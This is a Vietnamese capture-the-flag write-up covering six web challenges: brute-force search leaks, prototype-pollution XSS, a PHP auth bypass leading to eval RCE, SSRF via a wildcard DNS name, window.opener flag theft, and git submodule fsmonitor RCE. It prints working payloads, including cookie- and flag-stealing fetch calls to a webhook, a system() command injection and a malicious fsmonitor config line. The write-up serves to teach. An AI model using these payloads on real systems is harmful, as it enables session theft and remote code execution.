# LEAKCTF ## FlagLeak ![image](https://hackmd.io/_uploads/BJLakUtUlg.png) ### Overview Đây là 1 trang web có chức năng tìm kiếm với từ khóa dài 3 kí tự . ![image](https://hackmd.io/_uploads/HyYZ-UAUlx.png) - Search thì nó trả về kết quả là số lượng bài post chứa từ khóa `count:matchingPost.length` - Ở API search thì sẽ tự động thay thế `*` đối với nội dung **FLAG** trước khi nó trả về phản hồi ### Solve - Lỗi ở đây là a dev thực hiện tìm kiếm trước rồi mới thay thế nội dung flag - Dẫn đến ta có thể bruit force để có thể đoán ra từng kí tự của flag - Tuy nhiên không thế tùy tiện . Vì đây là thay thế từng kí tự **trong 3 kí tự** Vậy nên rất dễ có tình hướng xảy ra vòng lặp vô hạn ví dụ như - abcabc ![image](https://hackmd.io/_uploads/BytwE8R8le.png) - Như Vậy ta sẽ luôn ở trong vòng lặp vô hạn khi tìm kiếm với dãy 3 kí tự => Để giải quyết vấn đề này code sao cho khi ta tìm kiếm hết tất cả rồi lấy kết quả trùng cuối cùng bới vị trí của flag ở cuối cùng ![image](https://hackmd.io/_uploads/rkPJVUC8le.png) ### Conclusion BruitForce Cần có nhiều điều kiện để tránh rơi vào vòng lặp vô hạn ## NotoriousNote ![image](https://hackmd.io/_uploads/SJbFArtLgl.png) ### Overview XSS + Pollution Prototype ![image](https://hackmd.io/_uploads/rJsGwU0Igg.png) - Chỉ đến giản là dữ liệu của ta đưa vào hàm sanitizeHTML - Nhìn vào cấu trúc thư mục => đây là chall về xss của app sau đó gửi cho bot để lấy cookie của bot cũng là flag ![image](https://hackmd.io/_uploads/H19OPLRUll.png) ### Solve #### PHÂN TÍCH CODE ![image](https://hackmd.io/_uploads/r1GqwD08ee.png) => Đây là đoạn code trính ra thuộc tính của đối tượng ví dụ đầu vào : `/?user.name=hxuu&user.age=23` thì sẽ xuất ra obj có dạng ```code! { user: { name: "hxuu", age: 23 } } ``` => có thể pollution prototype :alien: #### PHÂN TÍCH LÝ THUYẾT :abacus: 1. Đối tượng trong javascript - Một đối tượng là tập hợp động các thuộc tính có kí hiệu như sau : `const obj = { key: "value" }` - Thuộc tính của đối tượng thì chia làm hai loại là : - Thuộc tính dữ liệu : `obj.key = "value"` - Thuộc tính truy cập : Giá trị được thay thế bằng hàm ![image](https://hackmd.io/_uploads/BygRJwCUeg.png) 2. Các thuộc tính ẩn của đối tượng - Khi đối tượng khởi tạo ngoài thuộc tính người dùng định nghĩa còn có thuộc tính được cài đặt tự động để quản lí đối tượng - [[Get]]: Xác định cách truy xuất giá trị của một thuộc tính. - [[Set]]: Xác định cách gán giá trị cho một thuộc tính. - [[Enumerable]]: Quyết định liệu một thuộc tính có được liệt kê trong các phép lặp như for...in hay không. 3. Hàm cũng là 1 đối tượng - Hàm cũng có thuộc tính ẩn như : - [[Call]]: Cho phép hàm được gọi như một hàm thông thường (ví dụ: myFunction()). - [[Construct]]: Cho phép hàm được sử dụng như một hàm khởi tạo (constructor) với từ khóa new 4. Kế thừa và chuỗi nguyên mẫu - Kế thừa được thực hiện thông qua prototype chain dùng để truy cập vào thuộc tính của đối tượng khác - `[[GetPrototypeOf]]`: đây là phương thức nội tại trả về đối tượng nguyên mẫu nếu k có thì sẽ để null - Đối tượng nguyên mẫu (Prototype Object) : được trả về bởi `[[GetPrototypeOf]]` . Nếu không thấy thuộc tính trên đối tượng đó thì chuyển sang đối tượng khác cho đến khí thấy hoặc `null` 5. Thiết lập `[[Prototype]]` và `__proto__` - Trong JavaScript, `[[Prototype]]` có thể được sửa đổi thông qua thuộc tính `__proto__` - Thuộc tính __proto__: Đây không phải là một thuộc tính dữ liệu thông thường mà là một thuộc tính truy cập **(accessor property)** được định nghĩa trên **Object.prototype**. Nó có cả **getter** và **setter**, cho phép: - Getter: Truy xuất giá trị của [[Prototype]]. - Setter: Thay đổi giá trị của [[Prototype]]. ![image](https://hackmd.io/_uploads/HkiOUvCUee.png) #### PHÂN TÍCH HÀM `SanitizeHtml()` Ta thấy a dev để mặc định ```code if (!options) { options = sanitizeHtml.defaults; options.parser = htmlParserDefaults; } ``` ```code! if (options.allowedAttributes) { allowedAttributesMap = {}; allowedAttributesGlobMap = {}; each(options.allowedAttributes, function(attributes, tag) { allowedAttributesMap[tag] = []; var globRegex = []; attributes.forEach(function(obj) { if (isString(obj) && obj.indexOf("*") >= 0) { globRegex.push(quoteRegexp(obj).replace(/\\\*/g, ".*")); } else { allowedAttributesMap[tag].push(obj); } }); allowedAttributesGlobMap[tag] = new RegExp("^(" + globRegex.join("|") + ")$"); }); } ``` - `allowedAttributesMap`: direct attribute whitelists `(e.g. { img: ["src"] })` - `allowedAttributesGlobMap`: regex-based wildcards `(e.g. { '*': /^(data-.*)$/ })` Và sau đó là kiểm tra ```code= if ( !allowedAttributesMap || (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) || (allowedAttributesMap["*"] && allowedAttributesMap["*"].indexOf(a) !== -1) || (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) || (allowedAttributesGlobMap["*"] && allowedAttributesGlobMap["*"].test(a)) ) { passedAllowedAttributesMapCheck = true; } ``` - Ta thấy `allowedAttributesMap["*"]` không kiểm tra thực sự `*` có phải của nó hay không => sẽ ra sao nếu như ta ghi đè lên `*` và cho thẻ atri `onload` là hợp lệ => Bên cạnh đó còn thấy được `iframe` không hề bị cấm trong đoạn dev #### Kết hợp lại với nhau Payload ```code! http://127.0.0.1:5000/?__proto__[*]=['onload']&note=<iframe onload="fetch('https://webhook?c='+document.cookie)"></iframe> ``` =>`**__proto__[*]=['onload']**`=>`**Object.prototype["*"]=['onload']**`=>`allowedAttributesMap` bị ghi đè thuộc tính `*` từ đó dẫn đến atr `onload` được đi qua và parse trong thẻ `iframe` => XSS ### Conclusion - Kết hợp xss - Bỏ qua thẻ `iframe` - Pollution prototype - Code js dẫn đến chèn được thuộc tính lạ vào quá dễ dàng - Không check `hasOwnProperty` ## Certay-rev ![image](https://hackmd.io/_uploads/SkI_AStUgg.png) ### Overview **Bypass authen + RCE** ![image](https://hackmd.io/_uploads/BkkK8Eyvel.png) - Đây là chall về đăng nhập user - Bạn vào được phần dashboard sau đó thực thi mã tùy ý do untrusted data rơi vào hàm `eval()` - ![image](https://hackmd.io/_uploads/SyMwPNJPeg.png) ### Solve #### PHÂN TÍCH CODE Authen ![image](https://hackmd.io/_uploads/SyYVo4JPxe.png) - Với key là mảng thì `openssl_encrypt` sẽ trả về `null` => Như vậy với luận lí trên thì hàm `custom_sign` chứa đến hai giá trị `NULL` đó là hai giá trị cuối => Vậy hash sẽ được quyết định bởi `msg` #### Phân tích code check context trước khi rơi vào `eval` ![image](https://hackmd.io/_uploads/rycqTVywlg.png) => Tác giả miss 1 hàm đó là `call_user_func()` #### Tạo payload - Trước tiên là bypass authen đã . Ta sẽ tự tạo hash để trùng với hash mà đoạn mã check ```code! from Crypto.Cipher import AES from Crypto.Util.Padding import pad import base64 def generate_hash(msg): # Khóa 32 bytes (256 bits) rỗng cho AES key = b'\x00' * 32 # IV rỗng 16 bytes cho AES-CBC iv = b'\x00' * 16 # Tạo cipher object cipher = AES.new(key, AES.MODE_CBC, iv) # Padding message theo chuẩn PKCS7 padded_msg = pad(msg.encode('utf-8'), AES.block_size) # Mã hóa encrypted = cipher.encrypt(padded_msg) # Encode base64 (tương tự như PHP openssl_encrypt trả về) hash_result = base64.b64encode(encrypted).decode('utf-8') return hash_result # Tạo hash cho msg='asd' msg = 'asd' hash_result = generate_hash(msg) print(f"Hash cho msg='{msg}': {hash_result}") # Test với một số message khác test_messages = ['hello', 'test', '123'] for test_msg in test_messages: print(f"Hash cho msg='{test_msg}': {generate_hash(test_msg)}") ``` - Để `iv` và `key` là `null` do trong đoạn code tác giả đã miss `$` - ![image](https://hackmd.io/_uploads/Hy5vsp1wxg.png) - ![image](https://hackmd.io/_uploads/rJFYo6JDxe.png) => Hash sẽ được quyết định bới `$msg` => Url: sẽ có dạng ```code! dashboard.php?msg=asd&key[]=&hash=Q4OOvv34fjwnsiOMHfHLLQ== ``` - Ở phía content thì sẽ là : ```code! ?><?php echo "foo";call_user_func('system','cat /tmp/flag.txt'); ``` ### Conclusion - Chú ý đến cách tạo hash - Fillter bằng black list lúc nào cũng sẽ sót `call_user_func` ## DNS Frenzy ![image](https://hackmd.io/_uploads/B1up0HK8xl.png) ### Overview **SSRF** #### PHÂN TÍCH CODE ![image](https://hackmd.io/_uploads/rkrbVpevlx.png) ##### `core.py` ![image](https://hackmd.io/_uploads/B1NdXbMwle.png) ##### `main.py` ![image](https://hackmd.io/_uploads/B1egUzGPex.png) ### Solve - Check điều kiện quá yếu - Địa chỉ ip để cụ thể . - Tên miền chỉ để chứa trong ... `in` - Để thỏa mãn hai điều kiện dùng wildcard DNS service - `127.0.0.1.dns_l3ak.ctf.nip.io => 127.0.0.1` #### Payload - Comment: ```python! dig @34.134.162.213 -p 17004 127.0.0.1.dns_l3ak.ctf.nip.io TXT ``` - Code: ```python import dns.resolver r = dns.resolver.Resolver() r.nameservers = ["34.134.162.213"] r.port = 17004 r.timeout = 60 r.lifetime = 60 response = r.resolve("127.0.0.1.dns_l3ak.ctf.nip.io", "A") print(response.response.to_text()) ``` ## Window of opp ![image](https://hackmd.io/_uploads/BkVwRSFLlx.png) ### Overview **CSRF** - Cấu trúc của bài ```code . ├── Dockerfile ├── index.js ├── package.json ├── package-lock.json └── public ├── bg.jpg └── music.mp3 2 directories, 6 files ``` => file chính là index.js - Bài này về viễ giả mạo admin để gửi request đến server : Cụ thể là gửi request đến `/flag` (API nằm trong server ) - ![image](https://hackmd.io/_uploads/Hk6h2KSDgx.png) - Vậy làm thế nào để vào được `/flag` - Muốn đi vào `/flag` phải thỏa mãn - Qua được `csrfProtection` - Check **Token** vai trò là **admin** => Giả mạo token là bất khả thi vì Key đang khó - LOGIC csrfProtection - ![image](https://hackmd.io/_uploads/SyZ2WcrDgg.png) - Vậy chỉ còn vướng mỗi kiểm tra token là ta có thể vào được `/flag` => Như đã nói ở trước fake token là không thể :cry: ### Solve - Đoạn code của anh Dev có hai thứ để tạo ra được lỗ hỏng - Anh dev tắt SOP - ![image](https://hackmd.io/_uploads/Hy2Q56rvge.png) - Anh dev Dùng `window.open()` để truy cập đến trang web - ![image](https://hackmd.io/_uploads/rym35arDlg.png) - [Đây là ví dụ của việc dùng `window.open()` để mở trang web khác](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-opener.gif) - Tuy nhiên nó chỉ đúng trong ngữ cảnh SOP bị tắt như trong chall này #### Mô tả về window.opener - Khi ta mở 1 trang web bằng `window.open` từ 1 trang tắt SOP . Nó sẽ lưu con trỏ tại trang tắt SOP . - Thì tại trang web vừa mở đó dùng lệnh `window.opener.location = "http://challenge/get_flag";` tức là có thể truy cập ngược lại trang web vừa mở đó để lấy nội dung => Ta có thể truy cập từ trang A vào trang B mà không có sự ngăn cản nào . Thực hiện lấy nội dung của trang mục tiêu #### Các bước tấn công 1. Thực hiện truy cập ngược lại trang `window.opener.location = "http://challenge/get_flag";` 2. Đợi load flag rồi lưu vào biến 3. Sau đó gửi ngược lại cho server của atk ```code! const flagText = window.opener.document.body.innerText; fetch("https://webhook/?flag="+flagText); ``` 4. Trang của atk để truy cập vào ```code! <!DOCTYPE html> <html> <body> <script> // Redirect the original admin tab to /get_flag window.opener.location = "http://challenge/get_flag"; // Wait for admin's tab to load, then steal the flag setTimeout(() => { try { const flagText = window.opener.document.body.innerText; fetch("https://webhook/?flag="+flagText); } catch (err) { console.error("Failed to read flag:", err); } }, 400); </script> </body> </html> ``` - Luồng thực hiện để dễ hiểu hơn ```code! Admin bot ↓ opens attacker.html Attacker tab → window.opener.location = /get_flag → waits... → reads window.opener.document.body.innerText → fetch('https://webhook.site?flag=...') ``` [video minh họa](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-exploit.gif) ### Conclusion - Hãy lưu ý đến việc mở trang web bằng `window.open()` - Bật SOP - Dùng `window.opener` để khai thác CSRF ## GitBad ![image](https://hackmd.io/_uploads/r1hrArt8ll.png) ### Overview ![image](https://hackmd.io/_uploads/SySFupDDxx.png) - Upload file zip ![image4](https://hackmd.io/_uploads/HkKlx-vvle.png) #### Mục tiêu của lab - ![image](https://hackmd.io/_uploads/SJqMWWwwll.png) - Chèn `flag` vào trong cơ sở dữ liệu - Có vẻ là dùng NoSQL để leak được flag ra #### Một vài API quan trọng `/api/upload (POST)` ![image](https://hackmd.io/_uploads/ByeAQ2wwge.png) `/api/search (GET)` ![image](https://hackmd.io/_uploads/r1ZdI2PPxx.png) ### Solve #### SSRF ![image](https://hackmd.io/_uploads/B1XRD2vvle.png) - điều đáng chú ý ở đây đó là `run_git_submodule_update` - Ta có thực hiện query đến URL lạ nếu như có quyền chỉnh URL bên trong **git_submodule** - Sau đây là đoạn test - ![image](https://hackmd.io/_uploads/rklEYaPDlx.png) - ![image](https://hackmd.io/_uploads/SkNBFaPvgx.png) - ![image](https://hackmd.io/_uploads/Hy0It6Dweg.png) - ![image](https://hackmd.io/_uploads/SJ9DFTvwgl.png) Và kết quả sau khi upfile zip lên - ![image](https://hackmd.io/_uploads/HJHYK6wDxl.png) => Đã gửi request được từ trong localhost #### RCE - Tuy nhiên SSRF forr fun . Để giải được chall này thì ta sẽ dựa vào việc mà anh dev cập nhật các submodule ```code= def run_git_submodule_update(git_dir): """ Runs git submodule update --init --recursive in the specified directory """ try: result = subprocess.run( ['git', 'submodule', 'update', '--init', '--recursive'], cwd=git_dir, capture_output=True, text=True, timeout=10 ) if result.returncode == 0: # Success output_msg = "Git submodules updated successfully!" if result.stdout.strip(): output_msg += f"\nOutput: {result.stdout.strip()}" return {"success": True, "message": output_msg} else: error_msg = "Git submodule update failed" if result.stderr.strip(): error_msg += f": {result.stderr.strip()}" return {"success": False, "error": error_msg} except subprocess.TimeoutExpired: return {"success": False, "error": "Git command timed out (>10 seconds)"} except FileNotFoundError: return {"success": False, "error": "Git is not installed on the server"} except Exception as e: return {"success": False, "error": f"Git command execution failed: {str(e)}"} ``` - Khi thực thi lệnh `git submodule update --init --recursive` => Sẽ thực thi được payload RCE - Sau đây là các bước để tạo payload RCE ```code= mkdir exploit && cd exploit git init touch README.md && git add README.md && git commit -m "init" git config protocol.file.allow always => Thiết lập cấu hình Git cho phép sử dụng đường dẫn file (file://) làm URL submodule mkdir sub && cd sub git init touch hello && git add hello && git commit -m "sub init" cd .. git submodule add ./sub sub nano sub/.git/config => thêm dòng này vào fsmonitor = "cat /proc/1/environ >&2 >/app/static/flag.txt; false" cat sub/.git/config => check lại cd.. zip -r test.zip exploit ``` ![image](https://hackmd.io/_uploads/H1_VMcFDgx.png) - Như ta thấy thì fsmonitor sẽ thực hiện lệnh để RCE viết file ra thư mục con của app - ![image](https://hackmd.io/_uploads/ByQ5G9KPle.png) ### Conclusion - RCE thông qua `fsmonitor` nhờ vào việc update submodule => `git submodule update --init --recursive` - SSRF bằng cách thay thế URL trong file config ## FlagGuessr ![image](https://hackmd.io/_uploads/ryzS0BFIxe.png)